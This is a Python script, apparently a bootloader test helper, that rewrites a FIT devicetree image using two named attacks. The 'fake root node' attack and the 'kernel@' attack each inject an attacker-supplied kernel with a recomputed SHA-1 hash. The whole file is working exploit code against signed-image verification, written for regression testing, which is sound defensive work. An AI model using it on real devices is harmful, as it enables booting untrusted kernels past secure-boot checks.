| # SPDX-License-Identifier: GPL-2.0 | |
| # Copyright (c) 2020, Intel Corporation | |
| """Modifies a devicetree to add a fake root node, for testing purposes""" | |
| import hashlib | |
| import struct | |
| import sys | |
| FDT_PROP = 0x3 | |
| FDT_BEGIN_NODE = 0x1 | |
| FDT_END_NODE = 0x2 | |
| FDT_END = 0x9 | |
| FAKE_ROOT_ATTACK = 0 | |
| KERNEL_AT = 1 | |
| MAGIC = 0xd00dfeed | |
| EVIL_KERNEL_NAME = b'evil_kernel' | |
| FAKE_ROOT_NAME = b'f@keroot' | |
| def getstr(dt_strings, off): | |
| """Get a string from the devicetree string table | |
| Args: | |
| dt_strings (bytes): Devicetree strings section | |
| off (int): Offset of string to read | |
| Returns: | |
| str: String read from the table | |
| """ | |
| output = '' | |
| while dt_strings[off]: | |
| output += chr(dt_strings[off]) | |
| off += 1 | |
| return output | |
| def align(offset): | |
| """Align an offset to a multiple of 4 | |
| Args: | |
| offset (int): Offset to align | |
| Returns: | |
| int: Resulting aligned offset (rounds up to nearest multiple) | |
| """ | |
| return (offset + 3) & ~3 | |
| def determine_offset(dt_struct, dt_strings, searched_node_name): | |
| """Determines the offset of an element, either a node or a property | |
| Args: | |
| dt_struct (bytes): Devicetree struct section | |
| dt_strings (bytes): Devicetree strings section | |
| searched_node_name (str): element path, ex: /images/kernel@1/data | |
| Returns: | |
| tuple: (node start offset, node end offset) | |
| if element is not found, returns (None, None) | |
| """ | |
| offset = 0 | |
| depth = -1 | |
| path = '/' | |
| object_start_offset = None | |
| object_end_offset = None | |
| object_depth = None | |
| while offset < len(dt_struct): | |
| (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4]) | |
| if tag == FDT_BEGIN_NODE: | |
| depth += 1 | |
| begin_node_offset = offset | |
| offset += 4 | |
| node_name = getstr(dt_struct, offset) | |
| offset += len(node_name) + 1 | |
| offset = align(offset) | |
| if path[-1] != '/': | |
| path += '/' | |
| path += str(node_name) | |
| if path == searched_node_name: | |
| object_start_offset = begin_node_offset | |
| object_depth = depth | |
| elif tag == FDT_PROP: | |
| begin_prop_offset = offset | |
| offset += 4 | |
| len_tag, nameoff = struct.unpack('>II', | |
| dt_struct[offset:offset + 8]) | |
| offset += 8 | |
| prop_name = getstr(dt_strings, nameoff) | |
| len_tag = align(len_tag) | |
| offset += len_tag | |
| node_path = path + '/' + str(prop_name) | |
| if node_path == searched_node_name: | |
| object_start_offset = begin_prop_offset | |
| elif tag == FDT_END_NODE: | |
| offset += 4 | |
| path = path[:path.rfind('/')] | |
| if not path: | |
| path = '/' | |
| if depth == object_depth: | |
| object_end_offset = offset | |
| break | |
| depth -= 1 | |
| elif tag == FDT_END: | |
| break | |
| else: | |
| print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset)) | |
| break | |
| return object_start_offset, object_end_offset | |
| def modify_node_name(dt_struct, node_offset, replcd_name): | |
| """Change the name of a node | |
| Args: | |
| dt_struct (bytes): Devicetree struct section | |
| node_offset (int): Offset of node | |
| replcd_name (str): New name for node | |
| Returns: | |
| bytes: New dt_struct contents | |
| """ | |
| # skip 4 bytes for the FDT_BEGIN_NODE | |
| node_offset += 4 | |
| node_name = getstr(dt_struct, node_offset) | |
| node_name_len = len(node_name) + 1 | |
| node_name_len = align(node_name_len) | |
| replcd_name += b'\0' | |
| # align on 4 bytes | |
| while len(replcd_name) % 4: | |
| replcd_name += b'\0' | |
| dt_struct = (dt_struct[:node_offset] + replcd_name + | |
| dt_struct[node_offset + node_name_len:]) | |
| return dt_struct | |
| def modify_prop_content(dt_struct, prop_offset, content): | |
| """Overwrite the value of a property | |
| Args: | |
| dt_struct (bytes): Devicetree struct section | |
| prop_offset (int): Offset of property (FDT_PROP tag) | |
| content (bytes): New content for the property | |
| Returns: | |
| bytes: New dt_struct contents | |
| """ | |
| # skip FDT_PROP | |
| prop_offset += 4 | |
| (len_tag, nameoff) = struct.unpack('>II', | |
| dt_struct[prop_offset:prop_offset + 8]) | |
| # compute padded original node length | |
| original_node_len = len_tag + 8 # content length + prop meta data len | |
| original_node_len = align(original_node_len) | |
| added_data = struct.pack('>II', len(content), nameoff) | |
| added_data += content | |
| while len(added_data) % 4: | |
| added_data += b'\0' | |
| dt_struct = (dt_struct[:prop_offset] + added_data + | |
| dt_struct[prop_offset + original_node_len:]) | |
| return dt_struct | |
| def change_property_value(dt_struct, dt_strings, prop_path, prop_value, | |
| required=True): | |
| """Change a given property value | |
| Args: | |
| dt_struct (bytes): Devicetree struct section | |
| dt_strings (bytes): Devicetree strings section | |
| prop_path (str): full path of the target property | |
| prop_value (bytes): new property name | |
| required (bool): raise an exception if property not found | |
| Returns: | |
| bytes: New dt_struct contents | |
| Raises: | |
| ValueError: if the property is not found | |
| """ | |
| (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path) | |
| if rt_node_start is None: | |
| if not required: | |
| return dt_struct | |
| raise ValueError('Fatal error, unable to find prop %s' % prop_path) | |
| dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value) | |
| return dt_struct | |
| def change_node_name(dt_struct, dt_strings, node_path, node_name): | |
| """Change a given node name | |
| Args: | |
| dt_struct (bytes): Devicetree struct section | |
| dt_strings (bytes): Devicetree strings section | |
| node_path (str): full path of the target node | |
| node_name (str): new node name, just node name not full path | |
| Returns: | |
| bytes: New dt_struct contents | |
| Raises: | |
| ValueError: if the node is not found | |
| """ | |
| (rt_node_start, rt_node_end) = ( | |
| determine_offset(dt_struct, dt_strings, node_path)) | |
| if rt_node_start is None or rt_node_end is None: | |
| raise ValueError('Fatal error, unable to find root node') | |
| dt_struct = modify_node_name(dt_struct, rt_node_start, node_name) | |
| return dt_struct | |
| def get_prop_value(dt_struct, dt_strings, prop_path): | |
| """Get the content of a property based on its path | |
| Args: | |
| dt_struct (bytes): Devicetree struct section | |
| dt_strings (bytes): Devicetree strings section | |
| prop_path (str): full path of the target property | |
| Returns: | |
| bytes: Property value | |
| Raises: | |
| ValueError: if the property is not found | |
| """ | |
| (offset, _) = determine_offset(dt_struct, dt_strings, prop_path) | |
| if offset is None: | |
| raise ValueError('Fatal error, unable to find prop') | |
| offset += 4 | |
| (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4]) | |
| offset += 8 | |
| tag_data = dt_struct[offset:offset + len_tag] | |
| return tag_data | |
| def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash): | |
| """Conduct the kernel@ attack | |
| It fetches from /configurations/default the name of the kernel being loaded. | |
| Then, if the kernel name does not contain any @sign, duplicates the kernel | |
| in /images node and appends '@evil' to its name. | |
| It inserts a new kernel content and updates its images digest. | |
| Inputs: | |
| - FIT dt_struct | |
| - FIT dt_strings | |
| - kernel content blob | |
| - kernel hash blob | |
| Important note: it assumes the U-Boot loading method is 'kernel' and the | |
| loaded kernel hash's subnode name is 'hash-1' | |
| """ | |
| # retrieve the default configuration name | |
| default_conf_name = get_prop_value( | |
| dt_struct, dt_strings, '/configurations/default') | |
| default_conf_name = str(default_conf_name[:-1], 'utf-8') | |
| conf_path = '/configurations/' + default_conf_name | |
| # fetch the loaded kernel name from the default configuration | |
| loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel') | |
| loaded_kernel = str(loaded_kernel[:-1], 'utf-8') | |
| if loaded_kernel.find('@') != -1: | |
| print('kernel@ attack does not work on nodes already containing an @ sign!') | |
| sys.exit() | |
| # determine boundaries of the loaded kernel | |
| (krn_node_start, krn_node_end) = (determine_offset( | |
| dt_struct, dt_strings, '/images/' + loaded_kernel)) | |
| if krn_node_start is None and krn_node_end is None: | |
| print('Fatal error, unable to find root node') | |
| sys.exit() | |
| # copy the loaded kernel | |
| loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end] | |
| # insert the copy inside the tree | |
| dt_struct = dt_struct[:krn_node_start] + \ | |
| loaded_kernel_copy + dt_struct[krn_node_start:] | |
| evil_kernel_name = loaded_kernel+'@evil' | |
| # change the inserted kernel name | |
| dt_struct = change_node_name( | |
| dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8')) | |
| # change the content of the kernel being loaded | |
| dt_struct = change_property_value( | |
| dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content) | |
| # change the content of the kernel being loaded | |
| dt_struct = change_property_value( | |
| dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash) | |
| return dt_struct | |
| def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest): | |
| """Conduct the fakenode attack | |
| It duplicates the original root node at the beginning of the tree. | |
| Then it modifies within this duplicated tree: | |
| - The loaded kernel name | |
| - The loaded kernel data | |
| Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel | |
| hash's subnode name is hash@1 | |
| """ | |
| # retrieve the default configuration name | |
| default_conf_name = get_prop_value( | |
| dt_struct, dt_strings, '/configurations/default') | |
| default_conf_name = str(default_conf_name[:-1], 'utf-8') | |
| conf_path = '/configurations/'+default_conf_name | |
| # fetch the loaded kernel name from the default configuration | |
| loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel') | |
| loaded_kernel = str(loaded_kernel[:-1], 'utf-8') | |
| # determine root node start and end: | |
| (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/')) | |
| if (rt_node_start is None) or (rt_node_end is None): | |
| print('Fatal error, unable to find root node') | |
| sys.exit() | |
| # duplicate the whole tree | |
| duplicated_node = dt_struct[rt_node_start:rt_node_end] | |
| # dchange root name (empty name) to fake root name | |
| new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME) | |
| dt_struct = new_dup + dt_struct | |
| # change the value of /<fake_root_name>/configs/<default_config_name>/kernel | |
| # so our modified kernel will be loaded | |
| base = '/' + str(FAKE_ROOT_NAME, 'utf-8') | |
| value_path = base + conf_path+'/kernel' | |
| dt_struct = change_property_value(dt_struct, dt_strings, value_path, | |
| EVIL_KERNEL_NAME + b'\0') | |
| # change the node of the /<fake_root_name>/images/<original_kernel_name> | |
| images_path = base + '/images/' | |
| node_path = images_path + loaded_kernel | |
| dt_struct = change_node_name(dt_struct, dt_strings, node_path, | |
| EVIL_KERNEL_NAME) | |
| # change the content of the kernel being loaded | |
| data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data' | |
| dt_struct = change_property_value(dt_struct, dt_strings, data_path, | |
| kernel_content, required=False) | |
| # update the digest value | |
| hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value' | |
| dt_struct = change_property_value(dt_struct, dt_strings, hash_path, | |
| kernel_digest) | |
| return dt_struct | |
| def add_evil_node(in_fname, out_fname, kernel_fname, attack): | |
| """Add an evil node to the devicetree | |
| Args: | |
| in_fname (str): Filename of input devicetree | |
| out_fname (str): Filename to write modified devicetree to | |
| kernel_fname (str): Filename of kernel data to add to evil node | |
| attack (str): Attack type ('fakeroot' or 'kernel@') | |
| Raises: | |
| ValueError: Unknown attack name | |
| """ | |
| if attack == 'fakeroot': | |
| attack = FAKE_ROOT_ATTACK | |
| elif attack == 'kernel@': | |
| attack = KERNEL_AT | |
| else: | |
| raise ValueError('Unknown attack name!') | |
| with open(in_fname, 'rb') as fin: | |
| input_data = fin.read() | |
| hdr = input_data[0:0x28] | |
| offset = 0 | |
| magic = struct.unpack('>I', hdr[offset:offset + 4])[0] | |
| if magic != MAGIC: | |
| raise ValueError('Wrong magic!') | |
| offset += 4 | |
| (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version, | |
| last_comp_version, boot_cpuid_phys, size_dt_strings, | |
| size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36]) | |
| rsv_map = input_data[off_mem_rsvmap:off_dt_struct] | |
| dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct] | |
| dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings] | |
| with open(kernel_fname, 'rb') as kernel_file: | |
| kernel_content = kernel_file.read() | |
| # computing inserted kernel hash | |
| val = hashlib.sha1() | |
| val.update(kernel_content) | |
| hash_digest = val.digest() | |
| if attack == FAKE_ROOT_ATTACK: | |
| dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content, | |
| hash_digest) | |
| elif attack == KERNEL_AT: | |
| dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content, | |
| hash_digest) | |
| # now rebuild the new file | |
| size_dt_strings = len(dt_strings) | |
| size_dt_struct = len(dt_struct) | |
| totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings | |
| off_mem_rsvmap = 0x28 | |
| off_dt_struct = off_mem_rsvmap + len(rsv_map) | |
| off_dt_strings = off_dt_struct + len(dt_struct) | |
| header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct, | |
| off_dt_strings, off_mem_rsvmap, version, | |
| last_comp_version, boot_cpuid_phys, size_dt_strings, | |
| size_dt_struct) | |
| with open(out_fname, 'wb') as output_file: | |
| output_file.write(header) | |
| output_file.write(rsv_map) | |
| output_file.write(dt_struct) | |
| output_file.write(dt_strings) | |
| if __name__ == '__main__': | |
| if len(sys.argv) != 5: | |
| print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' % | |
| sys.argv[0]) | |
| print('valid attack names: [fakeroot, kernel@]') | |
| sys.exit(1) | |
| in_fname, out_fname, kernel_fname, attack = sys.argv[1:] | |
| add_evil_node(in_fname, out_fname, kernel_fname, attack) |